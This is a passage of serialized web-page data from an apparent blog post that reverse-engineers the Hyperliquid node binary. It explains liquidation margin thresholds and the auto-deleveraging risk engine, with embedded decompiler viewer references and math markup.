s":163699,"children":163700},{},[163701],{"type":29,"value":163702},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":163704,"children":163705},{},[163706],{"type":29,"value":163707},"What does that even have to do with reverse engineering?",{"type":24,"tag":32,"props":163709,"children":163710},{"id":163684},[163711],{"type":29,"value":163712},"Hyperliquid",{"type":24,"tag":25,"props":163714,"children":163715},{},[163716],{"type":29,"value":163717},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":163719,"children":163720},{},[163721,163723,163728],{"type":29,"value":163722},"The node is tasked with a ",{"type":24,"tag":8545,"props":163724,"children":163725},{},[163726],{"type":29,"value":163727},"very hard problem",{"type":29,"value":163729},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":163731,"children":163732},{},[163733],{"type":29,"value":163734},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":163736,"children":163737},{},[163738,163740,163746],{"type":29,"value":163739},"Beyond that, the ",{"type":24,"tag":80,"props":163741,"children":163743},{"className":163742},[],[163744],{"type":29,"value":163745},"hl-node",{"type":29,"value":163747}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":163749,"children":163750},{},[163751,163753,163758,163760,163765],{"type":29,"value":163752},"Armed with some curiosity, a good amount of ",{"type":24,"tag":8545,"props":163754,"children":163755},{},[163756],{"type":29,"value":163757},"inference",{"type":29,"value":163759},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":8545,"props":163761,"children":163762},{},[163763],{"type":29,"value":163764},"interactive interface",{"type":29,"value":163766},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":32,"props":163768,"children":163770},{"id":163769},"the-million-dollar-question",[163771],{"type":29,"value":163772},"The Million Dollar Question",{"type":24,"tag":25,"props":163774,"children":163775},{},[163776,163778,163783],{"type":29,"value":163777},"Let's say a terrible trader opens a ",{"type":24,"tag":8545,"props":163779,"children":163780},{},[163781],{"type":29,"value":163782},"50x",{"type":29,"value":163784}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":163786,"children":163787},{},[163788,163790,163796],{"type":29,"value":163789},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":80,"props":163791,"children":163793},{"className":163792},[],[163794],{"type":29,"value":163795},"compute_margin_requirement_by_mode",{"type":29,"value":163797}," function.",{"type":24,"tag":25,"props":163799,"children":163800},{},[163801],{"type":29,"value":163802},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":163804,"props":163805,"children":163806},"tip",{},[163807],{"type":24,"tag":25,"props":163808,"children":163809},{},[163810,163812,163817,163819,163826,163828,163833],{"type":29,"value":163811},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":8545,"props":163813,"children":163814},{},[163815],{"type":29,"value":163816},"click through",{"type":29,"value":163818}," each action performed by ",{"type":24,"tag":2773,"props":163820,"children":163823},{"href":163821,"rel":163822},"https://github.com/renato-osec/patina-research",[2777],[163824],{"type":29,"value":163825},"our Rust reverse engineering agent",{"type":29,"value":163827},". Return to the regular view by clicking ",{"type":24,"tag":80,"props":163829,"children":163831},{"className":163830},[],[163832],{"type":29,"value":11612},{"type":29,"value":87},{"type":24,"tag":163835,"props":163836,"children":163838},"bndb-viewer-embed",{"addr":163837,"line-start":1154,"line-end":139343},"0x555556bb4d20",[],{"type":24,"tag":25,"props":163840,"children":163841},{},[163842,163844,163850],{"type":29,"value":163843},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":80,"props":163845,"children":163847},{"className":163846},[],[163848],{"type":29,"value":163849},"OptionUnitQty",{"type":29,"value":163851},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":163853,"children":163854},{},[163855],{"type":29,"value":163856},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":137,"props":163858,"children":163859},{},[163860],{"type":24,"tag":80,"props":163861,"children":163864},{"className":163862},[9607,163863],"math-display",[163865],{"type":24,"tag":147,"props":163866,"children":163869},{"className":163867},[163868],"katex-display",[163870],{"type":24,"tag":147,"props":163871,"children":163873},{"className":163872},[9613],[163874],{"type":24,"tag":147,"props":163875,"children":163877},{"className":163876,"ariaHidden":9619},[9618],[163878,163909],{"type":24,"tag":147,"props":163879,"children":163881},{"className":163880},[9624],[163882,163886,163896,163900,163905],{"type":24,"tag":147,"props":163883,"children":163885},{"className":163884,"style":100043},[9629],[],{"type":24,"tag":147,"props":163887,"children":163889},{"className":163888},[9635,29],[163890],{"type":24,"tag":147,"props":163891,"children":163893},{"className":163892},[9635],[163894],{"type":29,"value":163895},"liq_equity",{"type":24,"tag":147,"props":163897,"children":163899},{"className":163898,"style":9812},[9714],[],{"type":24,"tag":147,"props":163901,"children":163903},{"className":163902},[9817],[163904],{"type":29,"value":369},{"type":24,"tag":147,"props":163906,"children":163908},{"className":163907,"style":9812},[9714],[],{"type":24,"tag":147,"props":163910,"children":163912},{"className":163911},[9624],[163913,163918],{"type":24,"tag":147,"props":163914,"children":163917},{"className":163915,"style":163916},[9629],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":147,"props":163919,"children":163921},{"className":163920},[9635],[163922,163926,164044],{"type":24,"tag":147,"props":163923,"children":163925},{"className":163924},[27319,119138],[],{"type":24,"tag":147,"props":163927,"children":163929},{"className":163928},[119143],[163930],{"type":24,"tag":147,"props":163931,"children":163933},{"className":163932},[9655,27244],[163934,164032],{"type":24,"tag":147,"props":163935,"children":163937},{"className":163936},[9660],[163938,164027],{"type":24,"tag":147,"props":163939,"children":163942},{"className":163940,"style":163941},[9665],"height:1.427em;",[163943,163983,163994],{"type":24,"tag":147,"props":163944,"children":163946},{"style":163945},"top:-2.314em;",[163947,163951],{"type":24,"tag":147,"props":163948,"children":163950},{"className":163949,"style":117792},[9674],[],{"type":24,"tag":147,"props":163952,"children":163954},{"className":163953},[9635],[163955,163960,163964,163969,163973],{"type":24,"tag":147,"props":163956,"children":163958},{"className":163957},[9635],[163959],{"type":29,"value":8753},{"type":24,"tag":147,"props":163961,"children":163963},{"className":163962,"style":9715},[9714],[],{"type":24,"tag":147,"props":163965,"children":163967},{"className":163966},[9720],[163968],{"type":29,"value":116883},{"type":24,"tag":147,"props":163970,"children":163972},{"className":163971,"style":9715},[9714],[],{"type":24,"tag":147,"props":163974,"children":163976},{"className":163975},[9635,29],[163977],{"type":24,"tag":147,"props":163978,"children":163980},{"className":163979},[9635],[163981],{"type":29,"value":163982},"leverage",{"type":24,"tag":147,"props":163984,"children":163985},{"style":119193},[163986,163990],{"type":24,"tag":147,"props":163987,"children":163989},{"className":163988,"style":117792},[9674],[],{"type":24,"tag":147,"props":163991,"children":163993},{"className":163992,"style":119203},[119202],[],{"type":24,"tag":147,"props":163995,"children":163997},{"style":163996},"top:-3.677em;",[163998,164002],{"type":24,"tag":147,"props":163999,"children":164001},{"className":164000,"style":117792},[9674],[],{"type":24,"tag":147,"props":164003,"children":164005},{"className":164004},[9635],[164006,164012,164022],{"type":24,"tag":147,"props":164007,"children":164009},{"className":164008},[9635],[164010],{"type":29,"value":164011},"∣",{"type":24,"tag":147,"props":164013,"children":164015},{"className":164014},[9635,29],[164016],{"type":24,"tag":147,"props":164017,"children":164019},{"className":164018},[9635],[164020],{"type":29,"value":164021},"notional",{"type":24,"tag":147,"props":164023,"children":164025},{"className":164024},[9635],[164026],{"type":29,"value":164011},{"type":24,"tag":147,"props":164028,"children":164030},{"className":164029},[27347],[164031],{"type":29,"value":27350},{"type":24,"tag":147,"props":164033,"children":164035},{"className":164034},[9660],[164036],{"type":24,"tag":147,"props":164037,"children":164040},{"className":164038,"style":164039},[9665],"height:0.8804em;",[164041],{"type":24,"tag":147,"props":164042,"children":164043},{},[],{"type":24,"tag":147,"props":164045,"children":164047},{"className":164046},[27341,119138],[],{"type":24,"tag":32,"props":164049,"children":164051},{"id":164050},"what-if-nobody-wants-to-buy-the-position",[164052],{"type":29,"value":164053},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":164055,"children":164056},{},[164057],{"type":29,"value":164058},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":164060,"children":164061},{},[164062,164064,164069],{"type":29,"value":164063},"When that happens, the exchange is basically left with a ",{"type":24,"tag":8545,"props":164065,"children":164066},{},[164067],{"type":29,"value":164068},"hot potato",{"type":29,"value":164070}," to get rid of: what should it even do with the debt?",{"type":24,"tag":40973,"props":164072,"children":164074},{"id":164073},"the-risk-engine",[164075],{"type":29,"value":164076},"The Risk Engine",{"type":24,"tag":25,"props":164078,"children":164079},{},[164080],{"type":29,"value":164081},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":32,"props":164083,"children":164085},{"id":164084},"clearing-up-bad-debt",[164086],{"type":29,"value":164087},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":164089,"children":164090},{},[164091,164092,164099],{"type":29,"value":5094},{"type":24,"tag":2773,"props":164093,"children":164096},{"href":164094,"rel":164095},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[2777],[164097],{"type":29,"value":164098},"Hyperliquid docs",{"type":29,"value":164100}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":164102,"children":164103},{},[164104,164106,164117,164119,164125,164127,164133],{"type":29,"value":164105},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":2773,"props":164107,"children":164110},{"href":164108,"rel":164109},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[2777],[164111],{"type":24,"tag":80,"props":164112,"children":164114},{"className":164113},[],[164115],{"type":29,"value":164116},"Clearinghouse",{"type":29,"value":164118},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":80,"props":164120,"children":164122},{"className":164121},[],[164123],{"type":29,"value":164124},"Exchange",{"type":29,"value":164126}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":80,"props":164128,"children":164130},{"className":164129},[],[164131],{"type":29,"value":164132},"MessagePack",{"type":29,"value":164134}," at runtime.",{"type":24,"tag":25,"props":164136,"children":164137},{},[164138],{"type":29,"value":164139},"This data will come in handy both for us and the agent.",{"type":24,"tag":164141,"props":164142,"children":164144},"file-download",{"path":164143},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":164146,"children":164147},{},[164148,164150,164155],{"type":29,"value":164149},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":80,"props":164151,"children":164153},{"className":164152},[],[164154],{"type":29,"value":164116},{"type":29,"value":164156},". Some renaming later, we can infer something like this:",{"type":24,"tag":163835,"props":164158,"children":164162},{"source":164159,"target":164160,"direction":164161},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":164164,"children":164165},{},[164166,164168,164173,164175,164181],{"type":29,"value":164167},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":80,"props":164169,"children":164171},{"className":164170},[],[164172],{"type":29,"value":164160},{"type":29,"value":164174},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":80,"props":164176,"children":164178},{"className":164177},[],[164179],{"type":29,"value":164180},"exchange_end_block",{"type":29,"value":164182},". So, at the end of each block we run some checks.",{"type":24,"tag":163804,"props":164184,"children":164185},{},[164186],{"type":24,"tag":25,"props":164187,"children":164188},{},[164189],{"type":29,"value":164190},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":164192,"children":164193},{},[164194,164196,164202],{"type":29,"value":164195},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":80,"props":164197,"children":164199},{"className":164198},[],[164200],{"type":29,"value":164201},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":164203}," flag.",{"type":24,"tag":163835,"props":164205,"children":164209},{"addr":164206,"line-start":164207,"line-end":164208},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":164211,"children":164212},{},[164213,164215,164220],{"type":29,"value":164214},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":80,"props":164216,"children":164218},{"className":164217},[],[164219],{"type":29,"value":164116},{"type":29,"value":8785},{"type":24,"tag":43,"props":164222,"children":164224},{"id":164223},"threshold-condition",[164225],{"type":29,"value":164226},"Threshold Condition",{"type":24,"tag":25,"props":164228,"children":164229},{},[164230,164232,164237],{"type":29,"value":164231},"The natural connection between liquidations and ADL is ",{"type":24,"tag":8545,"props":164233,"children":164234},{},[164235],{"type":29,"value":164236},"shortfall",{"type":29,"value":164238},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":164240,"children":164241},{},[164242],{"type":29,"value":164243},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":112,"props":164245,"children":164247},{"id":164246},"who-is-underwater",[164248],{"type":29,"value":164249},"Who Is Underwater?",{"type":24,"tag":25,"props":164251,"children":164252},{},[164253,164255,164260,164262,164268],{"type":29,"value":164254},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":80,"props":164256,"children":164258},{"className":164257},[],[164259],{"type":29,"value":164160},{"type":29,"value":164261},", starting from all user positions, which are stored in ",{"type":24,"tag":80,"props":164263,"children":164265},{"className":164264},[],[164266],{"type":29,"value":164267},"clearinghouse.user_states",{"type":29,"value":164269},", as we can also see from the serialization.",{"type":24,"tag":163804,"props":164271,"children":164272},{},[164273],{"type":24,"tag":25,"props":164274,"children":164275},{},[164276],{"type":29,"value":164277},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":163835,"props":164279,"children":164283},{"source":164280,"target":164180,"direction":164281,"path":164282},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":164285,"children":164286},{},[164287,164288,164293,164295,164301,164303,164309,164311,164317],{"type":29,"value":5094},{"type":24,"tag":80,"props":164289,"children":164291},{"className":164290},[],[164292],{"type":29,"value":164280},{"type":29,"value":164294}," essentially turns that into an ",{"type":24,"tag":80,"props":164296,"children":164298},{"className":164297},[],[164299],{"type":29,"value":164300},"Iter",{"type":29,"value":164302},", then, inside of ",{"type":24,"tag":80,"props":164304,"children":164306},{"className":164305},[],[164307],{"type":29,"value":164308},"build_adl_candidate_set",{"type":29,"value":164310}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":80,"props":164312,"children":164314},{"className":164313},[],[164315],{"type":29,"value":164316},"AdlIterEntry",{"type":29,"value":5640},{"type":24,"tag":163835,"props":164319,"children":164321},{"type-name":164320},"AdlIterContext",[],{"type":24,"tag":25,"props":164323,"children":164324},{},[164325,164327,164333,164335,164341,164343,164349,164351,164356],{"type":29,"value":164326},"Note that in storage, ",{"type":24,"tag":80,"props":164328,"children":164330},{"className":164329},[],[164331],{"type":29,"value":164332},"Isolated",{"type":29,"value":164334}," positions have their own independent ",{"type":24,"tag":80,"props":164336,"children":164338},{"className":164337},[],[164339],{"type":29,"value":164340},"Entry",{"type":29,"value":164342}," in the position iterators, and ",{"type":24,"tag":80,"props":164344,"children":164346},{"className":164345},[],[164347],{"type":29,"value":164348},"Cross",{"type":29,"value":164350}," positions have a single common ",{"type":24,"tag":80,"props":164352,"children":164354},{"className":164353},[],[164355],{"type":29,"value":164340},{"type":29,"value":164357},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":163835,"props":164359,"children":164362},{"addr":164360,"line-start":49853,"line-end":164361},"0x555556266b10","163",[],{"type":24,"tag":25,"props":164364,"children":164365},{},[164366],{"type":29,"value":164367},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":163835,"props":164369,"children":164372},{"addr":164206,"line-start":164370,"line-end":164371},"506","527",[],{"type":24,"tag":25,"props":164374,"children":164375},{},[164376,164378],{"type":29,"value":164377},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":164379,"props":164380,"children":164383},"bndb-xref",{"lines":164381,"addrs":164382},"1-2","0x555556ac3e18-0x555556ac3e18",[164384],{"type":29,"value":164385},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":164387,"children":164388},{},[164389,164391,164397,164399,164405,164407,164413,164415,164421],{"type":29,"value":164390},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":80,"props":164392,"children":164394},{"className":164393},[],[164395],{"type":29,"value":164396},"only_isolated",{"type":29,"value":164398}," (or ",{"type":24,"tag":80,"props":164400,"children":164402},{"className":164401},[],[164403],{"type":29,"value":164404},"strict_isolated",{"type":29,"value":164406}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":80,"props":164408,"children":164410},{"className":164409},[],[164411],{"type":29,"value":164412},"deferred_queue",{"type":29,"value":164414},", which triggers ADL regardless of the system's ",{"type":24,"tag":80,"props":164416,"children":164418},{"className":164417},[],[164419],{"type":29,"value":164420},"total_shortfall",{"type":29,"value":164422},". This is dictated by this branch.",{"type":24,"tag":163835,"props":164424,"children":164427},{"addr":164206,"line-start":164425,"line-end":164426},"211","243",[],{"type":24,"tag":25,"props":164429,"children":164430},{},[164431,164433,164440],{"type":29,"value":164432},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":2773,"props":164434,"children":164437},{"href":164435,"rel":164436},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[2777],[164438],{"type":29,"value":164439},"March 2025 incident",{"type":29,"value":164441},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":112,"props":164443,"children":164445},{"id":164444},"how-do-we-get-rid-of-debt",[164446],{"type":29,"value":164447},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":164449,"children":164450},{},[164451],{"type":29,"value":164452},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":164454,"children":164455},{},[164456,164458,164463,164465,164470,164472,164477],{"type":29,"value":164457},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":80,"props":164459,"children":164461},{"className":164460},[],[164462],{"type":29,"value":164412},{"type":29,"value":164464}," is overwritten by all the users marked by ",{"type":24,"tag":80,"props":164466,"children":164468},{"className":164467},[],[164469],{"type":29,"value":164308},{"type":29,"value":164471},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":80,"props":164473,"children":164475},{"className":164474},[],[164476],{"type":29,"value":164404},{"type":29,"value":164478}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":163804,"props":164480,"children":164481},{},[164482],{"type":24,"tag":25,"props":164483,"children":164484},{},[164485],{"type":29,"value":164486},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":163835,"props":164488,"children":164491},{"addr":164206,"line-start":164489,"line-end":164490},"523","526",[],{"type":24,"tag":25,"props":164493,"children":164494},{},[164495,164497,164503,164505,164511,164513,164518],{"type":29,"value":164496},"For each underwater position, we do a ",{"type":24,"tag":164379,"props":164498,"children":164500},{"addrs":164499},"0x555556ac42ad-0x555556ac42be",[164501],{"type":29,"value":164502},"B-tree lookup",{"type":29,"value":164504}," on ",{"type":24,"tag":80,"props":164506,"children":164508},{"className":164507},[],[164509],{"type":29,"value":164510},"clearinghouse.user_states[position.user]",{"type":29,"value":164512},", adding them to a ",{"type":24,"tag":80,"props":164514,"children":164516},{"className":164515},[],[164517],{"type":29,"value":22816},{"type":29,"value":164519}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":163835,"props":164521,"children":164524},{"addr":164206,"line-start":164522,"line-end":164523},"635","658",[],{"type":24,"tag":25,"props":164526,"children":164527},{},[164528],{"type":29,"value":164529},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":137,"props":164531,"children":164532},{},[164533],{"type":24,"tag":80,"props":164534,"children":164536},{"className":164535},[9607,163863],[164537],{"type":24,"tag":147,"props":164538,"children":164540},{"className":164539},[163868],[164541],{"type":24,"tag":147,"props":164542,"children":164544},{"className":164543},[9613],[164545],{"type":24,"tag":147,"props":164546,"children":164548},{"className":164547,"ariaHidden":9619},[9618],[164549],{"type":24,"tag":147,"props":164550,"children":164552},{"className":164551},[9624],[164553,164558],{"type":24,"tag":147,"props":164554,"children":164557},{"className":164555,"style":164556},[9629],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":147,"props":164559,"children":164561},{"className":164560},[9635],[164562],{"type":24,"tag":147,"props":164563,"children":164566},{"className":164564},[164565],"mtable",[164567,164647],{"type":24,"tag":147,"props":164568,"children":164571},{"className":164569},[164570],"col-align-r",[164572],{"type":24,"tag":147,"props":164573,"children":164575},{"className":164574},[9655,27244],[164576,164635],{"type":24,"tag":147,"props":164577,"children":164579},{"className":164578},[9660],[164580,164630],{"type":24,"tag":147,"props":164581,"children":164584},{"className":164582,"style":164583},[9665],"height:2.3452em;",[164585,164608],{"type":24,"tag":147,"props":164586,"children":164588},{"style":164587},"top:-4.3452em;",[164589,164594],{"type":24,"tag":147,"props":164590,"children":164593},{"className":164591,"style":164592},[9674],"height:3.3944em;",[],{"type":24,"tag":147,"props":164595,"children":164597},{"className":164596},[9635],[164598],{"type":24,"tag":147,"props":164599,"children":164601},{"className":164600},[9635,29],[164602],{"type":24,"tag":147,"props":164603,"children":164605},{"className":164604},[9635],[164606],{"type":29,"value":164607},"position_weight",{"type":24,"tag":147,"props":164609,"children":164611},{"style":164610},"top:-2.2092em;",[164612,164616],{"type":24,"tag":147,"props":164613,"children":164615},{"className":164614,"style":164592},[9674],[],{"type":24,"tag":147,"props":164617,"children":164619},{"className":164618},[9635],[164620],{"type":24,"tag":147,"props":164621,"children":164623},{"className":164622},[9635,29],[164624],{"type":24,"tag":147,"props":164625,"children":164627},{"className":164626},[9635],[164628],{"type":29,"value":164629},"position_adl_amount",{"type":24,"tag":147,"props":164631,"children":164633},{"className":164632},[27347],[164634],{"type":29,"value":27350},{"type":24,"tag":147,"props":164636,"children":164638},{"className":164637},[9660],[164639],{"type":24,"tag":147,"props":164640,"children":164643},{"className":164641,"style":164642},[9665],"height:1.8452em;",[164644],{"type":24,"tag":147,"props":164645,"children":164646},{},[],{"type":24,"tag":147,"props":164648,"children":164651},{"className":164649},[164650],"col-align-l",[164652],{"type":24,"tag":147,"props":164653,"children":164655},{"className":164654},[9655,27244],[164656,164857],{"type":24,"tag":147,"props":164657,"children":164659},{"className":164658},[9660],[164660,164852],{"type":24,"tag":147,"props":164661,"children":164663},{"className":164662,"style":164583},[9665],[164664,164792],{"type":24,"tag":147,"props":164665,"children":164666},{"style":164587},[164667,164671],{"type":24,"tag":147,"props":164668,"children":164670},{"className":164669,"style":164592},[9674],[],{"type":24,"tag":147,"props":164672,"children":164674},{"className":164673},[9635],[164675,164679,164683,164688,164692],{"type":24,"tag":147,"props":164676,"children":164678},{"className":164677},[9635],[],{"type":24,"tag":147,"props":164680,"children":164682},{"className":164681,"style":9812},[9714],[],{"type":24,"tag":147,"props":164684,"children":164686},{"className":164685},[9817],[164687],{"type":29,"value":369},{"type":24,"tag":147,"props":164689,"children":164691},{"className":164690,"style":9812},[9714],[],{"type":24,"tag":147,"props":164693,"children":164695},{"className":164694},[9635],[164696,164700,164788],{"type":24,"tag":147,"props":164697,"children":164699},{"className":164698},[27319,119138],[],{"type":24,"tag":147,"props":164701,"children":164703},{"className":164702},[119143],[164704],{"type":24,"tag":147,"props":164705,"children":164707},{"className":164706},[9655,27244],[164708,164776],{"type":24,"tag":147,"props":164709,"children":164711},{"className":164710},[9660],[164712,164771],{"type":24,"tag":147,"props":164713,"children":164716},{"className":164714,"style":164715},[9665],"height:1.3944em;",[164717,164738,164749],{"type":24,"tag":147,"props":164718,"children":164719},{"style":163945},[164720,164724],{"type":24,"tag":147,"props":164721,"children":164723},{"className":164722,"style":117792},[9674],[],{"type":24,"tag":147,"props":164725,"children":164727},{"className":164726},[9635],[164728],{"type":24,"tag":147,"props":164729,"children":164731},{"className":164730},[9635,29],[164732],{"type":24,"tag":147,"props":164733,"children":164735},{"className":164734},[9635],[164736],{"type":29,"value":164737},"total_cross_notional",{"type":24,"tag":147,"props":164739,"children":164740},{"style":119193},[164741,164745],{"type":24,"tag":147,"props":164742,"children":164744},{"className":164743,"style":117792},[9674],[],{"type":24,"tag":147,"props":164746,"children":164748},{"className":164747,"style":119203},[119202],[],{"type":24,"tag":147,"props":164750,"children":164752},{"style":164751},"top:-3.7em;",[164753,164757],{"type":24,"tag":147,"props":164754,"children":164756},{"className":164755,"style":117792},[9674],[],{"type":24,"tag":147,"props":164758,"children":164760},{"className":164759},[9635],[164761],{"type":24,"tag":147,"props":164762,"children":164764},{"className":164763},[9635,29],[164765],{"type":24,"tag":147,"props":164766,"children":164768},{"className":164767},[9635],[164769],{"type":29,"value":164770},"position_notional",{"type":24,"tag":147,"props":164772,"children":164774},{"className":164773},[27347],[164775],{"type":29,"value":27350},{"type":24,"tag":147,"props":164777,"children":164779},{"className":164778},[9660],[164780],{"type":24,"tag":147,"props":164781,"children":164784},{"className":164782,"style":164783},[9665],"height:0.996em;",[164785],{"type":24,"tag":147,"props":164786,"children":164787},{},[],{"type":24,"tag":147,"props":164789,"children":164791},{"className":164790},[27341,119138],[],{"type":24,"tag":147,"props":164793,"children":164794},{"style":164610},[164795,164799],{"type":24,"tag":147,"props":164796,"children":164798},{"className":164797,"style":164592},[9674],[],{"type":24,"tag":147,"props":164800,"children":164802},{"className":164801},[9635],[164803,164807,164811,164816,164820,164830,164834,164839,164843],{"type":24,"tag":147,"props":164804,"children":164806},{"className":164805},[9635],[],{"type":24,"tag":147,"props":164808,"children":164810},{"className":164809,"style":9812},[9714],[],{"type":24,"tag":147,"props":164812,"children":164814},{"className":164813},[9817],[164815],{"type":29,"value":369},{"type":24,"tag":147,"props":164817,"children":164819},{"className":164818,"style":9812},[9714],[],{"type":24,"tag":147,"props":164821,"children":164823},{"className":164822},[9635,29],[164824],{"type":24,"tag":147,"props":164825,"children":164827},{"className":164826},[9635],[164828],{"type":29,"value":164829},"user_shortfall",{"type":24,"tag":147,"props":164831,"children":164833},{"className":164832,"style":9715},[9714],[],{"type":24,"tag":147,"props":164835,"children":164837},{"className":164836},[9720],[164838],{"type":29,"value":116883},{"type":24,"tag":147,"props":164840,"children":164842},{"className":164841,"style":9715},[9714],[],{"type":24,"tag":147,"props":164844,"children":164846},{"className":164845},[9635,29],[164847],{"type":24,"tag":147,"props":164848,"children":164850},{"className":164849},[9635],[164851],{"type":29,"value":164607},{"type":24,"tag":147,"props":164853,"children":164855},{"className":164854},[27347],[164856],{"type":29,"value":27350},{"type":24,"tag":147,"props":164858,"children":164860},{"className":164859},[9660],[164861],{"type":24,"tag":147,"props":164862,"children":164864},{"className":164863,"style":164642},[9665],[164865],{"type":24,"tag":147,"props":164866,"children":164867},{},[],{"type":24,"tag":25,"props":164869,"children":164870},{},[164871],{"type":29,"value":164872},"We do that here:",{"type":24,"tag":163835,"props":164874,"children":164877},{"addr":164206,"line-start":164875,"line-end":164876},"828","981",[],{"type":24,"tag":25,"props":164879,"children":164880},{},[164881,164882,164888,164890,164896],{"type":29,"value":5094},{"type":24,"tag":164379,"props":164883,"children":164885},{"lines":164884},"77-79",[164886],{"type":29,"value":164887},"inner loop",{"type":29,"value":164889}," above spans all ",{"type":24,"tag":80,"props":164891,"children":164893},{"className":164892},[],[164894],{"type":29,"value":164895},"(asset_idx, direction)",{"type":29,"value":164897}," held in the cross margin position.",{"type":24,"tag":25,"props":164899,"children":164900},{},[164901,164903,164909,164911,164917,164918,164924],{"type":29,"value":164902},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":80,"props":164904,"children":164906},{"className":164905},[],[164907],{"type":29,"value":164908},"adl_output",{"type":29,"value":164910}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both 